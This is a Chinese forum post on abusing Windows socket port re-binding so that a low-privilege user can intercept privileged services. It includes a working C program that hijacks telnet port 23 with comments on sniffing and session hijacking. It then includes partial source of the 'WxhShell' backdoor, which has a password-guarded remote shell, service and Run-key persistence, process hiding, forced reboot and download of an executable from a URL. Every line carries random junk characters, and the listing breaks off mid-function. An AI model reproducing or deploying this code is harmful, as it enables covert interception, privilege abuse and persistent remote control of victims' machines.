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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: I"V3+2e  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4~WlP,,M  
)/TVJAJ  
  saddr.sin_family = AF_INET; }85#[~m'  
+~:0Dxv W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h.LSMU (O  
YPQCOG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s=jO; K$  
j&}B<f _6J  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 P rt#L8  
Ap,q `S  
  这意味着什么?意味着可以进行如下的攻击: Vx(;|/:  
:+A; TV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j)@oRWL<  
<Am^z~[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m2MPWy5s  
#ZwY?T x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A?V<l<EAm  
4+,*sn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ndt8=6p  
A>y#}^l]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @f'AWeJ2  
s @3 zx  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {r X5  
lc-*8eS  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w`38DF@K  
<v-92?  
  #include A'(k Yc  
  #include ,dq`EsHg`M  
  #include <sF!]R&4  
  #include    KK MWD\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^f"&}%"M  
  int main() vKV{ $|  
  { '4Y*-!9  
  WORD wVersionRequested; th;]Vo  
  DWORD ret; )%1&/uN)  
  WSADATA wsaData; B)(w%\M4^  
  BOOL val; akY6D]M  
  SOCKADDR_IN saddr; gGD]t;<u  
  SOCKADDR_IN scaddr; _4A&%>   
  int err; f(W,m >.;  
  SOCKET s; /XC;.dLA#  
  SOCKET sc; ^&e;8d|f{  
  int caddsize; *+# k{D,  
  HANDLE mt; Xek E#?.  
  DWORD tid;   DwQp$l'NfW  
  wVersionRequested = MAKEWORD( 2, 2 ); <`b|L9  
  err = WSAStartup( wVersionRequested, &wsaData ); 9yp^zL  
  if ( err != 0 ) { $Jt8d|UP  
  printf("error!WSAStartup failed!\n"); ]lC4+{V  
  return -1; J\9jsx!WQ  
  } F\l!A'Q+t  
  saddr.sin_family = AF_INET; 1gO//fdI  
   8~rT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;%lJD"yF  
FxMMxY,*%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z7ZWf'o  
  saddr.sin_port = htons(23); Gu<W:n[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sVNo\  
  { ([ E#zrz%  
  printf("error!socket failed!\n"); 6NP`P jR  
  return -1; XWJ0=t&}  
  } E%KC'T N^D  
  val = TRUE; :^C#-O  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,(zcl$A[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4ZSfz#<[z  
  { !;6W!%t.|  
  printf("error!setsockopt failed!\n"); D]3bwoFo&u  
  return -1; h:eN>yW  
  } }"!6Xm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; w?*'vF_2:#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "`H=AX0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }C9VTJs|  
]M02>=1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |Sy}d[VKsZ  
  { \r)_-  
  ret=GetLastError(); $,!dan<eA  
  printf("error!bind failed!\n"); KI^q 5D ?  
  return -1; ZC>`ca  
  } ?^F*"+qI  
  listen(s,2); 3g4vpKg6c  
  while(1) $L $j KNwf  
  { Jc9@VxWY  
  caddsize = sizeof(scaddr); ^*j[&:d  
  //接受连接请求 _CYmG"mY  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]a &x'  
  if(sc!=INVALID_SOCKET) {3_Ffsg`  
  { mCZF5r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !M#?kKj  
  if(mt==NULL) 96^1Ivd  
  { 2\kC_o97  
  printf("Thread Creat Failed!\n"); )4VL m  
  break; W,L>'$#pM  
  } aH~x7N6!  
  } W_Ws3L1;N  
  CloseHandle(mt); "oKj~:$  
  } \ZmFH8=|f  
  closesocket(s); Q7OnhGA  
  WSACleanup(); rZwf%}  
  return 0; tOp:e KN  
  }   H-PW(  
  DWORD WINAPI ClientThread(LPVOID lpParam) kM}ic(K  
  { ` :B  
  SOCKET ss = (SOCKET)lpParam; 3<Pyr-z h  
  SOCKET sc; !nqm ;96  
  unsigned char buf[4096]; ;8 /+wBnm  
  SOCKADDR_IN saddr; K%.YNVHHC  
  long num; -X6\[I:+A  
  DWORD val; E: LQ!  
  DWORD ret; Z n"TG/:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Q:Nwy(,I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   HT1dvC$COo  
  saddr.sin_family = AF_INET; HCn ]#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z1qATX Xf  
  saddr.sin_port = htons(23); Sj=69>m]5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) av| 6r#  
  { hIg, 0B  
  printf("error!socket failed!\n"); n+A'XBHk  
  return -1; N";dG 3  
  } Wtzj;GJj  
  val = 100; $ M[}(m  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g}s-v?+  
  { UVQa af  
  ret = GetLastError(); bl!f5ROS(  
  return -1; EY[Q%  
  } xs83S.fHg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v1tN DyM6  
  { DRFuvU+e  
  ret = GetLastError(); 7.Kjg_N#Tr  
  return -1; G \aLg  
  } ")[Q4H;V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) E]U3O>hf  
  { | 9\7xT  
  printf("error!socket connect failed!\n"); r &l*.C*  
  closesocket(sc); #B.w7y5*  
  closesocket(ss); GJl@ag5h]!  
  return -1; :\w[xqH  
  } E[htB><  
  while(1) DJ2]NA$Q*  
  { ^Hhw(@`qf  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %(7wZ0Z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Hr8$1I$=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Dy!bj  
  num = recv(ss,buf,4096,0); ~)_ ?:.Da  
  if(num>0) {J6sM$aj  
  send(sc,buf,num,0); Pk?%PB ?Z  
  else if(num==0) SYW= L  
  break; g:3'x/a1  
  num = recv(sc,buf,4096,0); 1&dsQ, VDl  
  if(num>0) G]NtX4'4  
  send(ss,buf,num,0); CTrs\G  
  else if(num==0) UEYM;$_@4o  
  break; {uQ)p=  
  } &#my #u^O;  
  closesocket(ss); 8KELN(o$ 7  
  closesocket(sc); >^\>-U|  
  return 0 ; f[I'j0H%  
  } { `|YX_HS  
vaCdfO&  
/KvPiQ%  
========================================================== ?`*-QG}  
)s7Tv#[  
下边附上一个代码,,WXhSHELL Kac j  
IWRq:Gw  
========================================================== ;F]|HD9  
j6 d"8oH _  
#include "stdafx.h" G mUs U{  
2WECQl=r  
#include <stdio.h> a=T7w;\h  
#include <string.h> P(i2bbU  
#include <windows.h> <GmrKdM  
#include <winsock2.h> WUK.>eM0  
#include <winsvc.h> <Ibr.L]  
#include <urlmon.h> > FcA ,  
7LZb*+>  
#pragma comment (lib, "Ws2_32.lib") PdN\0B `  
#pragma comment (lib, "urlmon.lib") 64?$TT  
Ac(irPrD  
#define MAX_USER   100 // 最大客户端连接数 ?9okjLp1n  
#define BUF_SOCK   200 // sock buffer <[f2ZS6  
#define KEY_BUFF   255 // 输入 buffer -/7=\kao%  
]4Yb$e`  
#define REBOOT     0   // 重启 l \n:"*To  
#define SHUTDOWN   1   // 关机 JOne&{h]J"  
Iybpk?,M+  
#define DEF_PORT   5000 // 监听端口 Ol h%"=*;  
l'lDzB+.*  
#define REG_LEN     16   // 注册表键长度 F*( A; N_y  
#define SVC_LEN     80   // NT服务名长度 )"3oe ?  
=ZIFS  
// 从dll定义API dv}R]f'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1Kf t?g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @.@#WHde  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LmdV@gR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eKti+n.  
kc']g:*]Y  
// wxhshell配置信息 HPCA$LD  
struct WSCFG { 4qcIoO  
  int ws_port;         // 监听端口 2Xs< 1rF  
  char ws_passstr[REG_LEN]; // 口令 [>9"RzEl  
  int ws_autoins;       // 安装标记, 1=yes 0=no OxGCpbh*7o  
  char ws_regname[REG_LEN]; // 注册表键名 Kf<_A{s  
  char ws_svcname[REG_LEN]; // 服务名 ;|1P1H-W~M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^X'7>{7Io  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MW@b ;=(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z :jF) N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yf^gU*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /Z_ [)PTH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'eY[?LJ]U  
Guc^gq}  
}; SLA~F?t  
{#Cm> @')  
// default Wxhshell configuration &: 8&;vk  
struct WSCFG wscfg={DEF_PORT, `;2`H, G'  
    "xuhuanlingzhe", oDI*\S>  
    1, (Sp~+#XnF  
    "Wxhshell", !7*/lG  
    "Wxhshell", cU[pneY  
            "WxhShell Service", emIbGkH  
    "Wrsky Windows CmdShell Service", nW*Oo|p~=  
    "Please Input Your Password: ", _u5U> w  
  1, x)mC^  
  "http://www.wrsky.com/wxhshell.exe", X1D:{S[  
  "Wxhshell.exe" X^^D[U  
    }; r(CL=[  
\1_&?( pU  
// 消息定义模块 iPYlTV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O~]G(TMs8W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XYTcG;_z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D|#(zjl@  
char *msg_ws_ext="\n\rExit."; :e vc  
char *msg_ws_end="\n\rQuit."; - $/{V&?t  
char *msg_ws_boot="\n\rReboot..."; !qve1H4d2  
char *msg_ws_poff="\n\rShutdown..."; 3iL&;D  
char *msg_ws_down="\n\rSave to "; gcF><i6  
;H|M)z#[Z  
char *msg_ws_err="\n\rErr!"; `sC8ro@Fm  
char *msg_ws_ok="\n\rOK!";  Vp4]  
+c_CYkHJ/  
char ExeFile[MAX_PATH]; C}E ea~  
int nUser = 0; nEr, jd~f  
HANDLE handles[MAX_USER]; >(a_9l;q  
int OsIsNt; G dY^}TJrh  
jK1! \j  
SERVICE_STATUS       serviceStatus; {u3u%^E;R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4`]1W,t  
m q9&To!  
// 函数声明 .?:~s8kB  
int Install(void); #oY7v,x\  
int Uninstall(void); .JjuY'-Q  
int DownloadFile(char *sURL, SOCKET wsh); ghiElsBU  
int Boot(int flag); 8;rS"!qM  
void HideProc(void); wyM3|%RZ  
int GetOsVer(void); =Ybu_>  
int Wxhshell(SOCKET wsl); &T}e9 3]  
void TalkWithClient(void *cs); &t4(86Bmq  
int CmdShell(SOCKET sock); !1R  
int StartFromService(void); ,/9|j*9H  
int StartWxhshell(LPSTR lpCmdLine); 7X>3WF  
>?<d}9X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sBL^NDqa2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0l*/_;wo  
VvKH]>*  
// 数据结构和表定义 +__Rk1CVh  
SERVICE_TABLE_ENTRY DispatchTable[] = na)ceN2h  
{ XzsK^E0R  
{wscfg.ws_svcname, NTServiceMain}, \3/'#  
{NULL, NULL} "'(4l 2.  
}; yD"sYT   
{ q<l]jn9  
// 自我安装 i|Wn*~yFOO  
int Install(void) o 8U2vMH  
{ ;k]pq4E  
  char svExeFile[MAX_PATH]; 5N/;'ySAE_  
  HKEY key; 0kfw8Lon  
  strcpy(svExeFile,ExeFile); C54)eT6  
`R^VK-=C  
// 如果是win9x系统,修改注册表设为自启动 2BY:qz%:  
if(!OsIsNt) { t60m:k4J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { huIr*)r&p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z(P#]jI]  
  RegCloseKey(key); OMU#Sx!6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oGZ9@Y)(T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `OWB@_u5  
  RegCloseKey(key); B^{DCHu/  
  return 0; - _(!  
    } \8!HZei  
  } I( e>ff  
} cae}dHG2  
else { gUcE,L  
=k z;CS+  
// 如果是NT以上系统,安装为系统服务 V<7Gd8rDMM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (ym)q#^  
if (schSCManager!=0) E7D DMU  
{ !p$V7pFu6  
  SC_HANDLE schService = CreateService FW4 hqgE@  
  ( frt?*|:  
  schSCManager, ?W(f%/B#  
  wscfg.ws_svcname, I~I%z'"RQd  
  wscfg.ws_svcdisp, !8$}]uWP  
  SERVICE_ALL_ACCESS, Y~6pJNR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6-~  
  SERVICE_AUTO_START, 5V0=-K  
  SERVICE_ERROR_NORMAL, '"EOLr\Z,  
  svExeFile, x?kZD~|{)  
  NULL, #LZ`kSlv4  
  NULL, ?#'qY6 ^  
  NULL, BI s!  
  NULL, tXx9N_/  
  NULL @fw U%S[v  
  ); >cp9{+#f  
  if (schService!=0) 1Sy#*  
  { vR,'':  
  CloseServiceHandle(schService); *=8)]_=f  
  CloseServiceHandle(schSCManager); bu.36\78  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'coqm8V[%  
  strcat(svExeFile,wscfg.ws_svcname); H_Yy.yi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d dPJx<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g 0L 4  
  RegCloseKey(key); <j>@Fg#q  
  return 0; Dj|S  
    } #%5>}$  
  } ch&r.  
  CloseServiceHandle(schSCManager); AYi$LsLhO  
} }fA3{ Ro  
} gOkO8P6P8  
OKP?^%kD  
return 1; s-*XAn ot  
} k}/: xN"  
Wi[Y@  
// 自我卸载 X}ZOjX!  
int Uninstall(void) gR+Z"]  
{ kBT uM"  
  HKEY key; 3"".kf,O5e  
GHkSU;})  
if(!OsIsNt) { rk~/^(!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oTL "]3`'  
  RegDeleteValue(key,wscfg.ws_regname); yDKX,  
  RegCloseKey(key); kxP6#8*:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m} V,+E  
  RegDeleteValue(key,wscfg.ws_regname); B}Qo8i7 z  
  RegCloseKey(key); FR <wp  
  return 0; #wo_  
  } n5b N/  
} 9. R _=  
} iPIA&)x}  
else { ]Cj&C/(  
h3:,Gbyap  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ql4T@r3l}3  
if (schSCManager!=0) F,D &  
{ L]V K9qB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4 (yHD  
  if (schService!=0) 1~*_H_Q't  
  { T|m+ULp~  
  if(DeleteService(schService)!=0) { 5 xiYCOy  
  CloseServiceHandle(schService); 6B 8!2  
  CloseServiceHandle(schSCManager); L+u_153  
  return 0; pSAXp# g  
  } 8dpVB#]pp,  
  CloseServiceHandle(schService);  LKm5U6  
  } e0q a ~5  
  CloseServiceHandle(schSCManager); PQ5DTk  
} D&'".N,}  
} #qPk,a  
bUBuJ  
return 1; ed{9UJWh  
} wjl? @K  
7yc:=^ )  
// 从指定url下载文件 NZ_45/(dx  
int DownloadFile(char *sURL, SOCKET wsh) +vQyHo  
{ (]pQ.3  
  HRESULT hr; DJbj@ 2W[  
char seps[]= "/"; Y}Ov`ZM!r  
char *token; T7,tJk,(  
char *file; g5cR.]oz  
char myURL[MAX_PATH]; n_!&Wr^CX  
char myFILE[MAX_PATH]; rUyT5Vf  
iCH Z{<k  
strcpy(myURL,sURL); 9Hu%Z/[!p  
  token=strtok(myURL,seps); 5E%W;$3Pb  
  while(token!=NULL) a5)+5  
  { +EFur dX\  
    file=token; vb%\q sf  
  token=strtok(NULL,seps); `w q\K8v  
  } `R^)< v*  
=gj]R  
GetCurrentDirectory(MAX_PATH,myFILE); snK/,lm.  
strcat(myFILE, "\\"); :S%|^Q AN  
strcat(myFILE, file); :9)>!+|'  
  send(wsh,myFILE,strlen(myFILE),0); 3B_S>0H"$  
send(wsh,"...",3,0); 1rN&Y,61\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Lt*H|9  
  if(hr==S_OK) -AbA6_j  
return 0;  $% jV%k  
else wCdUYgsPT"  
return 1; ]s<Q-/X  
MXhS\vF#m  
} 86I".R$d  
-wO`o<  
// 系统电源模块 j;'NJ~NZ$  
int Boot(int flag) ,7'l$-rl  
{ G1D(-X4ALZ  
  HANDLE hToken; F'"-4YV>&  
  TOKEN_PRIVILEGES tkp; m{1By/U  
]s u\[?l  
  if(OsIsNt) { ve>8vw2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )Ev [o#y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OtC/)sX  
    tkp.PrivilegeCount = 1; 4iKT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5ogbse"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k<St:X%.O  
if(flag==REBOOT) { :]]amziP&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  m.2  
  return 0; Y!SD^Ie7!  
} YX~H!6l  
else { D3jP hPy.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JY /Cd6\  
  return 0; t!K|3>w  
} ^x4gUT-Wy  
  } F'Wef11Yz  
  else { DO0["O74  
if(flag==REBOOT) { F<I-^BY)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H6~QSe0l  
  return 0; ,C CIg9Pt  
} [H"Ods~_`  
else { q'W`t>2T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +tuC845  
  return 0; #$A6s~`B  
} 7%o\O{,U  
} pa.W-qyu  
jdhhvoQ  
return 1; LDbo  
} te:@F]A  
rMI:zFS  
// win9x进程隐藏模块 k6dSj>F>  
void HideProc(void) 4YdmG.CU  
{ ysSEgC3  
D,J's(wd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ny#7iz/  
  if ( hKernel != NULL ) 6~}=? sX4  
  { Ble <n6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^^v\ T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); af> i  
    FreeLibrary(hKernel); `f b}cJUa  
  } b7=]"|c$@  
] Li(E:  
return; [t0gXdU 6  
} (}}BZ S&.  
/Cwt4.5  
// 获取操作系统版本 \b' <q  
int GetOsVer(void) SA}]ZK P  
{ x; :[0(st}  
  OSVERSIONINFO winfo; 96 C|R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }n8,Ga%  
  GetVersionEx(&winfo); u dH7Q&"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '?q|7[SU  
  return 1; 4Jht{#IIG  
  else fLPB *y6  
  return 0; \+ K ^G  
} 4F/Q0"  
Ff.gRx  
// 客户端句柄模块 +8v!vuO'  
int Wxhshell(SOCKET wsl) B<+}_3.  
{ [<bfwTFsl  
  SOCKET wsh; +   
  struct sockaddr_in client; i9+V<'h  
  DWORD myID; 84|Hn|4t  
='YR;  
  while(nUser<MAX_USER) x"*u98&3  
{ E@t^IGD r  
  int nSize=sizeof(client); b[H& vp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )PR{ia64;<  
  if(wsh==INVALID_SOCKET) return 1; `y m^0x8  
MX  qH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *"4 OXyV  
if(handles[nUser]==0) $Nnz |y  
  closesocket(wsh); R$NH [Tz  
else iv\?TAZC  
  nUser++; :MpIx&  
  } o9>r -  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nB"q  
P|c79  
  return 0; T|r@:t[  
} ?GX 5Pvg  
6?z&G6  
// 关闭 socket v?5Xx{ym  
void CloseIt(SOCKET wsh) !PJ;d)\T  
{ TRG"fVR  
closesocket(wsh); iC$~v#2  
nUser--; HIeWgw^"  
ExitThread(0); Spt[b.4mF  
} wbVM'E/&  
(lT H EiX  
// 客户端请求句柄 pn>zuH e  
void TalkWithClient(void *cs) 5fM/y3QPsZ  
{ ~cQP4 kBD]  
,~%Qu~\  
  SOCKET wsh=(SOCKET)cs; U3az\E)HV  
  char pwd[SVC_LEN]; RCnN+b:c  
  char cmd[KEY_BUFF]; @C7#xGD  
char chr[1]; j<4J_wE  
int i,j; ct fKxGH  
SO3WOR`3  
  while (nUser < MAX_USER) { vNHM e{,u  
AZxOq !B  
if(wscfg.ws_passstr) { 3Ud&B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?}bSQ)b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _ i.CvYe  
  //ZeroMemory(pwd,KEY_BUFF); i8+kc_8#d  
      i=0; 2-. g>'W  
  while(i<SVC_LEN) { ;F"W6G  
A<QYW,:|  
  // 设置超时 +|r) ;>b  
  fd_set FdRead; DTI+VY .W^  
  struct timeval TimeOut; `{<2{}2M  
  FD_ZERO(&FdRead); Y)?4OB=n  
  FD_SET(wsh,&FdRead); 5d<-y2!M  
  TimeOut.tv_sec=8; (SU*fD!t  
  TimeOut.tv_usec=0; JP S L-j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !634 8nU:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?20y6c<  
-;_NdL@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l3)(aay!  
  pwd=chr[0]; kT[]^Jtc  
  if(chr[0]==0xd || chr[0]==0xa) { LPvyfD;Zy  
  pwd=0; cg}46)^<QH  
  break; !nU  
  } 0`3ey*  
  i++; x.<^L] "  
    } ;XZ5r|V}  
Zj[Bm\ 8  
  // 如果是非法用户,关闭 socket 3T|:1Nw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gXE'3  
} ^4`q%_vm  
gh['T,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mv)M9c,`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RT F9;]Ti  
n)8bkcZCp+  
while(1) { JOx75}  
%]nLCoQh  
  ZeroMemory(cmd,KEY_BUFF); Cx} Yp-  
U]@t\T3W  
      // 自动支持客户端 telnet标准   P5%DvZB$w  
  j=0; na?jCq9C  
  while(j<KEY_BUFF) { Gg{@]9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (IAl$IP63s  
  cmd[j]=chr[0]; 7E%ehM6Y  
  if(chr[0]==0xa || chr[0]==0xd) { I,l%6oPa  
  cmd[j]=0; A!ba_14  
  break; jgs kK  
  } GmcxN<  
  j++; lva]jh2  
    } gOx4qxy/m|  
@R9  
  // 下载文件 7?]gUrE  
  if(strstr(cmd,"http://")) { Mw\/gm_3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (b GiBsb  
  if(DownloadFile(cmd,wsh)) o`DBzC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BT2[@qH|qF  
  else  i('z~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~bWqoJ;Q  
  } nsaf6y&E  
  else { w-HgC  
 4O[5,  
    switch(cmd[0]) { lF 8B+  
  v7\~OOoH]  
  // 帮助 +`yDWN?7  
  case '?': { a`~$6 "v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z@RAdwjR`p  
    break; M#=woj&[  
  } Bb}JyT  
  // 安装 7Aq4YjbX  
  case 'i': { XqyfeY5t  
    if(Install()) L&Qdb xn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); __-rP  
    else YM1tP'4j@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BYhPOg[  
    break; g5M-Vu  
    } o//N"S.)  
  // 卸载 tZk@ RX  
  case 'r': { 7 G~MqnO|  
    if(Uninstall()) 0Dc$nL?TqX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V<\:iNXX{  
    else < ;Qle  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }zlvs a+  
    break; )m\%L`+  
    } $_S^Aw?  
  // 显示 wxhshell 所在路径 TAi |]U!  
  case 'p': { E IsA2 f  
    char svExeFile[MAX_PATH]; lh(A=hn"n  
    strcpy(svExeFile,"\n\r"); ;k (}~_  
      strcat(svExeFile,ExeFile); DJr 8<u  
        send(wsh,svExeFile,strlen(svExeFile),0); Y xGIv8O]  
    break; -XPGl  
    } N{q5E,}  
  // 重启 2a (w7/W:  
  case 'b': { C3G?dZKv2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P`-(08t  
    if(Boot(REBOOT)) HqcXP2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cd) <t8^KE  
    else { 2^[fUzL?  
    closesocket(wsh); QEQ8gfN9>  
    ExitThread(0); f2uog$H k  
    } F2z^7n.S  
    break; @wl80v  
    } u17Da9@;  
  // 关机 ",#rI+ el  
  case 'd': { wAF>C[<\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1Q#hanh_`  
    if(Boot(SHUTDOWN)) p#^L ZX  
